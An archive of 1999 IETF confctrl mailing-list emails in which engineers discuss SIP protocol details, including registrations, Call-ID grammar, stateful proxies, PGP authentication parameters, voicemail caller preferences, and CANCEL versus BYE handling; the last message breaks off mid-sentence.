	by zephyr.isi.edu (8.8.7/8.8.6) id OAA26068
	for confctrl-outgoing; Sat, 14 Aug 1999 14:26:35 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA26063
	for <confctrl@zephyr.isi.edu>; Sat, 14 Aug 1999 14:26:34 -0700 (PDT)
Received: from crufty.research.bell-labs.com (crufty.research.bell-labs.com [204.178.16.49])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA24600
	for <confctrl@isi.edu>; Sat, 14 Aug 1999 14:26:33 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by crufty; Sat Aug 14 17:24:42 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.29])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id RAA00675;
	Sat, 14 Aug 1999 17:25:09 -0400 (EDT)
Message-ID: <37B5DEFF.90407885@bell-labs.com>
Date: Sat, 14 Aug 1999 17:26:23 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Anoop Tripathi <Anoop_Tripathi@mw.3com.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Stephen Sprunk <ssprunk@cisco.com>, confctrl@ISI.EDU
Subject: Re: How does a Registrar inform UA about deregistration?
References: <862567CC.0050A330.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Anoop Tripathi wrote:
> 
> Still it does not answer my question as to how do I implement this.

It does; you change the SRV record to point to the new server. Transfer
the current registration state to the new server. Have the old one start
redirecting requests to the new server. Once all existing transactions
have cleared from the old server, bring it down for maintenance.

> 
>  e.g. A PSTN GW (UA) registers with a proxy server( assume no
> redundancy). 

In any case, I do not believe a gateway should use registrations to set
up a phone number routing database in a proxy server. This would be the
function of an intra-domain gateway routing protocol (see the GLP
framework document in iptel).

In case of proxy server going down for maintenance , the proxy
> server sends an de-registration to the UA. 

There is no de-registration from the proxy to UA in SIP. The point is
its not needed.

-Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX: (732) 834-5379                         Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Sun Aug 15 11:07:20 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA29717
	for confctrl-outgoing; Sun, 15 Aug 1999 11:07:20 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29712
	for <confctrl@zephyr.isi.edu>; Sun, 15 Aug 1999 11:07:18 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA22047
	for <confctrl@ISI.EDU>; Sun, 15 Aug 1999 11:07:17 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA01924;
	Sun, 15 Aug 1999 14:07:16 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA06775;
	Sun, 15 Aug 1999 14:07:15 -0400 (EDT)
Message-ID: <37B4FA4F.760A5524@cs.columbia.edu>
Date: Sat, 14 Aug 1999 01:10:39 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: Jacek Grabiec <Jacek_Grabiec@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: where can I get "Caller preferences draft" from?
References: <862567CC.005439C7.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


> where could I get this "caller preferences draft" referred above from?
> regards, Jacek G.

A more general answer is that http://www.cs.columbia.edu/sip lists all
SIP-related drafts (except PINT, since that has its own page), since not
all are draft-ietf-mmusic or draft-*-mmusic-* and some don't even
contain SIP in the title.

I also recommend www.normos.org as a good source for drafts and RFCs,
with a nice search full-text and bibliography search engine. Finally,
http://www.cs.columbia.edu/~hgs/netbib, the network bibliography,
contains references to RFCs and ID's, in addition to about 45,000 other
networking-related papers.



From confctrl-owner  Sun Aug 15 11:07:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA29730
	for confctrl-outgoing; Sun, 15 Aug 1999 11:07:25 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA29725
	for <confctrl@zephyr.isi.edu>; Sun, 15 Aug 1999 11:07:24 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA22053
	for <confctrl@ISI.EDU>; Sun, 15 Aug 1999 11:07:23 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA01937;
	Sun, 15 Aug 1999 14:07:22 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA06801;
	Sun, 15 Aug 1999 14:07:22 -0400 (EDT)
Message-ID: <37B509D8.5B18A3D6@cs.columbia.edu>
Date: Sat, 14 Aug 1999 02:16:56 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
To: John Poplett <John_Poplett@mw.3com.com>
CC: confctrl@ISI.EDU
Subject: Re: Decoding Call-ID
References: <862567CC.007677EF.00@mwgate02.mw.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

By definition, reserved characters have to be escaped via %, so there is
no ambiguity.

John Poplett wrote:
> 
> Since the local-id portion of a Call-ID can have "@" characters in it, does a
> scanner have to search for the
> rightmost "@" to properly identify the end of the local-id or how is this
> ambiguity resolved? (A similar case of ambiguity exists
> for SIP URL headers.)
> 
> Call-ID   =  ( "Call-ID" | "i" ) ":" local-id "@" host
> local-id  =  1*uric
> 
> uric            = reserved | unreserved | escaped
> reserved        = ";" | "/" | "?" | ":" | "@" | "&" | "=" | "+" | "$" | ","
> 
> Thanks,
> 
> John Poplett
> john_poplett@mw.3com.com
> 3Com Corp.


From confctrl-owner  Mon Aug 16 06:50:45 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA01779
	for confctrl-outgoing; Mon, 16 Aug 1999 06:50:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01774
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 06:50:43 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA25218
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 06:50:42 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA07471;
	Mon, 16 Aug 1999 09:50:41 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id JAA11326;
	Mon, 16 Aug 1999 09:50:37 -0400 (EDT)
Message-ID: <37B81729.8D64DE0B@cs.columbia.edu>
Date: Mon, 16 Aug 1999 09:50:33 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: archow@hss.hns.com, confctrl@ISI.EDU
Subject: SIP grammar
References: <652567CC.0043A8AF.00@sampark.hss.hns.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I've edited the HTML-formatted SIP grammar kindly provided by Arjun and
it can now be found at
http://www.cs.columbia.edu/~hgs/sip/SIPgrammar.html

It probably still has various typos and other mistakes, so feedback is
welcome.

Henning
-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Aug 16 07:17:29 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA02662
	for confctrl-outgoing; Mon, 16 Aug 1999 07:17:29 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA02657
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 07:17:27 -0700 (PDT)
Received: from fw7.dsccc.com (fw7.dsccc.com [192.245.102.17])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA26346
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 07:17:24 -0700 (PDT)
Received: (from uucp@localhost)
	by fw7.dsccc.com (8.8.8+Sun/8.8.8) id JAA19886
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 09:16:48 -0500 (CDT)
Received: from relay1.dsccc.com(143.209.238.6) by fw7 via smap (V2.0)
	id xma019805; Mon, 16 Aug 99 09:16:00 -0500
Received: from psun6.usa.alcatel.com (psun6.usa.alcatel.com [143.209.130.146])
	by relay1.usa.alcatel.com (8.9.3/8.8.8) with ESMTP id JAA04927
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 09:16:03 -0500 (CDT)
Received: from ssd.usa.alcatel.com
          (spdmail-qfe5.ssd.usa.alcatel.com [143.209.150.90])
          by psun6.usa.alcatel.com (Netscape Messaging Server 3.6)
           with ESMTP id AAB55A3 for <confctrl@isi.edu>;
          Mon, 16 Aug 1999 09:15:59 -0500
Received: from sun179.ssd.usa.alcatel.com (sun179.ssd.usa.alcatel.com [143.209.150.218])
	by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with ESMTP id JAA02641
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 09:15:38 -0500 (CDT)
Received: (from akhuntia@localhost)
	by sun179.ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) id JAA04256
	for confctrl@isi.edu; Mon, 16 Aug 1999 09:15:37 -0500 (CDT)
Date: Mon, 16 Aug 1999 09:15:37 -0500 (CDT)
From: Ashok Khuntia <akhuntia@ssd.usa.alcatel.com>
Message-Id: <199908161415.JAA04256@sun179.ssd.usa.alcatel.com>
To: confctrl@ISI.EDU
Subject: stateful proxy
X-Sun-Charset: US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

I got a question. Does a stateful proxy server keep CALL STATE information or it keeps only the transaction state information? If it keeps the call state information, where can I get more information on that?

Thanks in advance.

Ashok

From confctrl-owner  Mon Aug 16 09:48:13 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA09065
	for confctrl-outgoing; Mon, 16 Aug 1999 09:48:13 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA09060
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 09:48:11 -0700 (PDT)
Received: from gwu.ericy.com (gwu.ericy.com [208.196.3.162])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA06644
	for <confctrl@ISI.EDU>; Mon, 16 Aug 1999 09:48:10 -0700 (PDT)
Received: from mr3.exu.ericsson.se (mr3u.ericy.com [208.238.116.100])
	by gwu.ericy.com (8.9.3/8.9.3) with ESMTP id LAA23191;
	Mon, 16 Aug 1999 11:47:39 -0500 (CDT)
Received: from newman.exu.ericsson.se (newman.exu.ericsson.se [138.85.10.50])
	by mr3.exu.ericsson.se (8.9.3/8.9.3) with ESMTP id LAA14875;
	Mon, 16 Aug 1999 11:47:39 -0500 (CDT)
Received: from b04a24.exu.ericsson.se (b04a24 [138.85.60.124]) by newman.exu.ericsson.se (8.7.5/8.7.3) with ESMTP id LAA15525; Mon, 16 Aug 1999 11:47:38 -0500 (CDT)
Received: (from exuadam@localhost)
	by b04a24.exu.ericsson.se (8.9.1/8.9.1) id LAA09832;
	Mon, 16 Aug 1999 11:47:35 -0500 (CDT)
Message-Id: <199908161647.LAA09832@b04a24.exu.ericsson.se>
Subject: Re: stateful proxy
To: akhuntia@ssd.usa.alcatel.com (Ashok Khuntia)
Date: Mon, 16 Aug 1999 11:47:35 -0500 (CDT)
Cc: confctrl@ISI.EDU
In-Reply-To: <199908161415.JAA04256@sun179.ssd.usa.alcatel.com> from "Ashok Khuntia" at Aug 16, 99 09:15:37 am
From: "Adam B. Roach" <Adam.Roach@Ericsson.com>
X-Mailer: ELM [version 2.4 PL24]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

>I got a question. Does a stateful proxy server keep CALL STATE 
>information or it keeps only the transaction state information? 
>If it keeps the call state information, where can I get more 
>information on that?

There is (understandably) a lot of confusion about this topic. As
defined in RFC2543, a stateful proxy keeps *transaction* state
information. (Read the first and last paragraphs of section 12.3 
carefully).

We've been calling the variety of proxy that keeps *call* state
information "call stateful proxies."

Exactly how much state you keep, and how long you keep it, is heavily
dependant on your particular application. For most of the applications
I have been examining (largely dealing with value added services), the
proxies will probably want to keep the same sort of information as a 
UAC/UAS, for the entire duration of the call.

To support this type of state in the proxy, there is a proposed extension
(draft-ietf-mmusic-sip-session-timer-02.txt); its purpose is to allow
proxies to free resources if the call terminates abnormally (e.g. without
the proxy being told).

--
Adam Roach, Ericsson Inc. |  Ph: +1 972 583 7594 | 1010 E. Arapaho, MS L-04
adam.roach@ericsson.com   | Fax: +1 972 669 0154 | Richardson, TX 75081 USA

From confctrl-owner  Mon Aug 16 10:05:42 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA10235
	for confctrl-outgoing; Mon, 16 Aug 1999 10:05:42 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA10230
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 10:05:40 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA09163
	for <confctrl@ISI.EDU>; Mon, 16 Aug 1999 10:05:39 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA16404;
	Mon, 16 Aug 1999 13:05:38 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id NAA19042;
	Mon, 16 Aug 1999 13:05:37 -0400 (EDT)
Message-ID: <37B844DC.EF27D759@cs.columbia.edu>
Date: Mon, 16 Aug 1999 13:05:32 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: "Adam B. Roach" <Adam.Roach@ericsson.com>
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jorge.Sanchez@ebc.ericsson.se, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908111526.KAA28134@b04a24.exu.ericsson.se>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

"Adam B. Roach" wrote:
> 

> 
> We had a conversation last week about CANCEL and BYE that really
> cleared some things up for me; however, it's not information that
> I've seen written down anywhere. It may be useful to document
> somewhere that, for example, when a UAC wishes to terminate a session,
> he typically sends a BYE instead of a CANCEL to do so, even if no
> INVITE response has been received yet. (As an aside: doesn't this
> mean you have two pending transactions at the same time? Is that okay?)

See Section 4.2.4 in the preliminary revised version of the SIP spec
posted on the SIP web page (ttp://www.cs.columbia.edu/sip/drafts.html).
(Note that this version does not yet incorporate all proposed changes
and corrections noted in the "Changes" section.)

> 
> More to the point, it seems that the only nodes that would ever have
> an interest in generating a CANCEL is forking proxies.
> 
> Section 4.2.5 of RFC2543 implies that there is some utility in the UAC
> generating a CANCEL; perhaps this was part of the original design.
> At any rate, this no longer seems to be the case, so I'd propose
> that 4.2.5 be reworded to reflect current conventional wisdom.

Not quite. If I've connected to a callee and would like to make the
probability of another 200 very small, CANCEL is the right approach. BYE
won't do it in that case, as it would terminate the call.


-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Aug 16 11:32:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id LAA14866
	for confctrl-outgoing; Mon, 16 Aug 1999 11:32:30 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id LAA14861
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 11:32:28 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id LAA20624
	for <confctrl@isi.edu>; Mon, 16 Aug 1999 11:32:27 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA20362;
	Mon, 16 Aug 1999 14:32:26 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id OAA22117;
	Mon, 16 Aug 1999 14:32:25 -0400 (EDT)
Message-ID: <37B85935.B88CAAAE@cs.columbia.edu>
Date: Mon, 16 Aug 1999 14:32:21 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: shilpooa@delhi.tcs.co.in, confctrl@ISI.EDU
Subject: Re: Querry regarding PGP Encryption  as applied to SIP
References: <E8E2EFE5BAA7D211ACE100105AA9B6BD71C845@GG2MAIL>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> shilpooa@delhi.tcs.co.in wrote:
> 
> Dear Mr.Schulzrinne,
> 
>  We have a doubt
> 
> According  to section 15.1.1 in SIP rfc on the WWW-Authenticate
> Response header, pgp-algorithm is one of the parameters of the
> header.But the examples for this parameter are md5,sha1, which are
> hash algorithms & not encryption algorithms.

Note that WWW-Authenticate is for signing, not encryption.

> I wanted to know, can the
> encryption algorithm be specified in the same parameter as md5/RSA or
> sha/DH, this is because before encryption can be done both the parties
> who are the part of the session should know which algorithm the other
> party is using be it RSA or DH for encryption.

The PGP message itself contains the algorithm used for signing and
hashing. Thus, the role of WWW-Authenticate is only to indicate to the
client what algorithm the server understands, beyond the required hash
and public key algorithms specified in RFC 2440. RFC 2543 specifies this
for hashing; maybe it would be a good idea to add a similar parameter
(maybe called pubkey) to indicate the desired public-key signing
algorithm. Unfortunately, the public key algorithms in RFC 2440 don't
seem to have textual values (unlike the hash algorithms, which do), so
that we'd have to make up our own text values.

> 
> As WWW-Auhtenticate header is a part of a response, if it was possible
> to specify the encryption algorithm in this parameter, then both the
> parties will know which algorithm is being used.
> 
> please clarify this issue.
> 
> Thanks
> Shalabh.

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Aug 16 13:33:26 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA19544
	for confctrl-outgoing; Mon, 16 Aug 1999 13:33:26 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA19539
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 13:33:24 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id NAA04783
	for <confctrl@ISI.EDU>; Mon, 16 Aug 1999 13:33:23 -0700 (PDT)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id QAA26741;
	Mon, 16 Aug 1999 16:33:22 -0400 (EDT)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id QAA26052;
	Mon, 16 Aug 1999 16:33:21 -0400 (EDT)
Message-ID: <37B8758C.4DEB20C5@cs.columbia.edu>
Date: Mon, 16 Aug 1999 16:33:16 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.61 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Jacek_Grabiec@3com.com
CC: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        "Adam B. Roach" <Adam.Roach@Ericsson.com>,
        Jacek Grabiec/MW/US/3Com <confctrl@ISI.EDU>
Subject: Re: SIP, voicemail, and UPT
References: <882567C9.00564F11.00@hqoutbound.ops.3com.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jacek_Grabiec@3com.com wrote:
> 
>      Jonathan wrote:
>                Anders Kristensen wrote:
>      >
>      > > As Henning has pointed out, this is supported readily in the calller
>      > > preferences draft. Specifically,  the INVITE would contain:
>      > >
>      > > Accept-Contact: *;feature=!voice-mail
>      > >
>      > > Locations with voicemail would register:
>      > >
>      > > REGISTER sip:host.com
>      > > Contact: sip:mrbig@company.com;feature=voicemail
>      > >
>      > > and the proxy would not forward the INVITE to these destinations.
>      > >
>      >
>      > But you *do* want it go to voicemail, but only if a non-voicemail
>      > contact definitely cannot be found.  This would seem to imply that the
>      > UPT-proxy needs to be able to tell the difference between an "ordinary"
>      > 404 (Not Found) failure and one that's the result of an INVITE being
>      > rejected because of constraining caller-prefs.  So maybe that really is
>      > best done using a new error code?
>      > I see. I'm not sure how a special error response code helps, though.
>      > Lets say a proxy has three addresses it can forward to, one of which
>      > says voicemail. It forwards to all three, and the voicemail UAC rejects
>      > the the call since the caller preferences indicate no voicemail.
>      > However, a rejection comes from the other two. The problem is that the
>      > voicemail UAS has already rejected the call. I guess this rejection
>      > could get propagated back to the UAC, and then it could try again
>      > without the !voicemail attribute.
> 
>         >Another possibility is if the proxy first tried the non-voicemail
>         >addresses, and then if both fail, tried the voicemail one. This can
>         >also
>         >be supported in the current caller preferences framework:
> 
>         >Accept-Contact: *;feature=!voice-mail;q=0.8,
>                         *;feature=voice-mail;q=0.1
>         >Request-Disposition: sequential
> 
> I wonder how would you register these two contacts. According to spec 4.2.6
> "Registrations using SIP URIs that differ in one or more of host, port,
> transport-param or maddr-param (see Figure 3) from an existing registration are
> added to the list of registrations.
> If the URIs are equivalent to that of an existing registration, the new
> registration replaces the old one if it has a higher q value or, for the same
> value of q, if the ttl value is higher. "
> 
> therefore the registration
>      REGISTER sip:host.com
>      Contact: sip:mrbig@company.com;feature=!voicemail;q=0.8
> would replace the
>      REGISTER sip:host.com
>      Contact: sip:mrbig@company.com;feature=voicemail;q=0.1
> since they are identical on host, port, transport-param and maddr-param and one
> has higher q value than the other.

Maybe I'm missing context, but wouldn't the registration be different
for voicemail, something like

Contact: sip:mrbig@voicemail.company.com;feature=!voicemail;q=0,9,
sip:mrbig@phone348.company.com;feature=voicemail;q=0.1

This would try phone348 first and then voicemail.company.com.

> By the way, shouldn't the registrations be compared on user (in addition to
> host, port, transport-param and maddr-param) for equivalency?

Good point. I've added userinfo as one of the items to compare on.

> 
> regards, Jacek G

-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Mon Aug 16 14:52:34 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA23051
	for confctrl-outgoing; Mon, 16 Aug 1999 14:52:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA23040
	for <confctrl@zephyr.isi.edu>; Mon, 16 Aug 1999 14:52:31 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA07836
	for <confctrl@ISI.EDU>; Mon, 16 Aug 1999 14:52:30 -0700 (PDT)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Mon Aug 16 17:50:11 EDT 1999
Received: from bell-labs.com (IDENT:jdrosen@[135.17.253.99])
	by nova.dnrc.bell-labs.com (8.9.3/8.9.3) with ESMTP id RAA26752;
	Mon, 16 Aug 1999 17:50:32 -0400 (EDT)
Message-ID: <37B887F5.8E3D7AF2@bell-labs.com>
Date: Mon, 16 Aug 1999 17:51:49 -0400
From: Jonathan Rosenberg <jdrosen@bell-labs.com>
X-Mailer: Mozilla 4.61 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
CC: "Adam B. Roach" <Adam.Roach@ericsson.com>,
        Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>,
        Jorge.Sanchez@ebc.ericsson.se, confctrl@ISI.EDU
Subject: Re: ISUP tunneling
References: <199908111526.KAA28134@b04a24.exu.ericsson.se> <37B844DC.EF27D759@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning Schulzrinne wrote:
> 
> "Adam B. Roach" wrote:
> >
> 
> >
> > We had a conversation last week about CANCEL and BYE that really
> > cleared some things up for me; however, it's not information that
> > I've seen written down anywhere. It may be useful to document
> > somewhere that, for example, when a UAC wishes to terminate a session,
> > he typically sends a BYE instead of a CANCEL to do so, even if no
> > INVITE response has been received yet. (As an aside: doesn't this
> > mean you have two pending transactions at the same time? Is that okay?)
> 
> See Section 4.2.4 in the preliminary revised version of the SIP spec
> posted on the SIP web page (ttp://www.cs.columbia.edu/sip/drafts.html).
> (Note that this version does not yet incorporate all proposed changes
> and corrections noted in the "Changes" section.)

The issue, as I recall, was to how the BYE is used. There are two
possibilities:

1. After the INVITE is sent, the UAC decides it wants to hang up. So, it
sends a CANCEL. Under normal circumstances, this will arrive before any
UAS has answered. The UAC receives a 200 OK to the CANCEL immediately
(since its locally generated by the first proxy), and then a 487 Request
Cancelled response later on, after its been passed back from the UAS's,
through the proxies, and back to the UAC. Problem is, a 200 OK and a
CANCEL may "pass on the wire". In this case, the UAC still gets a 200 OK
to the request. So, it sends an ACK (?), and then hangs up with a BYE.
Note that the ACK and BYE both have tags, as they are directed at a
specific user. In really oddball cases, there may be multiple 200 OK's,
and the UAC must send an ACK (?) and then a BYE for each (always with
tags matching the tag in the 200 OK).

2. After the INVITE is sent, the UAC decides it wants to hang up. So, it
sends a BYE. This BYE has no tag in it (as there has not been any final
responses). The BYE (hopefully) follows the same set of proxies as the
original INVITE (there is no Route header either), and reaches the same
set of UAS's as the INVITE. Each of those then sends a 200 OK to the
BYE, and some kind of error response to the INVITE. The UAC will
therefore see a 200 OK to its BYE, and an error response to its INVITE.
However, there is also a race condition here. The BYE and a 200 OK to
the INVITE may pass on the wire. Thus, the UAC may see a 200 OK to the
INVITE, and a 200 OK to the BYE. In this case, though, the UAC doesn't
need to do anything else, since the BYE will still have caused the call
to hang up. This case can yield odd results if the BYE reaches a
different set of UAS's than the INVITE. Then, the UAC may still receive
a 200 OK to the BYE (since one of the UAS's responded with a 200 OK),
but the call is still active with some other UAS which did not get the
BYE. This would be really bad, in fact. 



I used to think the right approach is (2), but after discussing it with
Igor, Adam and others, and thinking about it some more, I'm beginning to
think (1) might be better. The case of one side thinking the call is
active, and the other thinking its not, is quite bad. The only issue
here is whether to send an ACK to the INVITE in this case. I'm inclined
to say yes, so that the effect of a CANCEL is really just to speed up
